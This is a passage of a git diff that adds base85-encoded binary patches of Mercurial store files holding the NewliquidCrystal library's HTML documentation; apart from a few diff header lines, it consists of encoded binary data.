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 C@N;Sa literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6c07435716719cb23804dad4f4a7fe3679c4256b GIT binary patch literal 6985 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 